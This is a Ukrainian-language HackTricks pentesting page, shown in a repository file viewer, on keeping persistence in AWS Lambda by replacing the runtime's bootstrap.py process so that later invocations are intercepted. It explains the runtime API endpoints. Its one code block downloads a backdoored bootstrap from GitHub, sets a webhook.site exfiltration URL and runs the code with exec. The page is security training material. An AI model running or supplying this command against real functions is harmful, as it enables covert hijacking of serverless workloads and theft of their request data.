Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md

62 lines
5.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# AWS - Вкрасти запити Lambda
{{#include ../../../../banners/hacktricks-training.md}}
## Потік Lambda
<figure><img src="../../../../images/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>
1. **Slicer** - це процес поза контейнером, який **надсилає** **виклики** до процесу **init**.
2. Процес init слухає на порту **9001**, відкриваючи деякі цікаві кінцеві точки:
- **`/2018-06-01/runtime/invocation/next`** отримати наступну подію виклику
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** повернути відповідь обробника для виклику
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** повернути помилку виконання
3. **bootstrap.py** має цикл, що отримує виклики з процесу init і викликає код користувача для їх обробки (**`/next`**).
4. Нарешті, **bootstrap.py** надсилає до init **відповідь**.
Зверніть увагу, що bootstrap завантажує код користувача як модуль, тому будь-яке виконання коду, яке виконується кодом користувача, насправді відбувається в цьому процесі.
## Вкрадання запитів Lambda
Мета цієї атаки - змусити код користувача виконати шкідливий процес **`bootstrap.py`** всередині процесу **`bootstrap.py`**, який обробляє вразливий запит. Таким чином, **шкідливий bootstrap** процес почне **спілкуватися з процесом init**, щоб обробляти запити, поки **легітимний** bootstrap **потрапить** у пастку, виконуючи шкідливий, тому він не запитуватиме запити у процесу init.
Це проста задача, оскільки код користувача виконується легітимним процесом **`bootstrap.py`**. Тому зловмисник може:
- **Надіслати підроблений результат поточного виклику до процесу init**, щоб init думав, що процес bootstrap чекає на більше викликів.
- Запит має бути надісланий до **`/${invoke-id}/response`**
- invoke-id можна отримати зі стеку легітимного процесу **`bootstrap.py`**, використовуючи модуль [**inspect**](https://docs.python.org/3/library/inspect.html) python (як [пропонувалося тут](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) або просто запитуючи його знову до **`/2018-06-01/runtime/invocation/next`** (як [пропонувалося тут](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
- Виконати шкідливий **`boostrap.py`**, який оброблятиме наступні виклики.
- Для цілей прихованості можливо надіслати параметри викликів lambda до C2, контрольованого зловмисником, а потім обробляти запити як зазвичай.
- Для цієї атаки достатньо отримати оригінальний код **`bootstrap.py`** з системи або [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), додати шкідливий код і запустити його з поточного виклику lambda.
### Кроки атаки
1. Знайти вразливість **RCE**.
2. Згенерувати **шкідливий** **bootstrap** (наприклад, [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
3. **Виконати** шкідливий bootstrap.
Ви можете легко виконати ці дії, запустивши:
```bash
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
```
Для отримання додаткової інформації перевірте [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
## Посилання
- [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)
{{#include ../../../../banners/hacktricks-training.md}}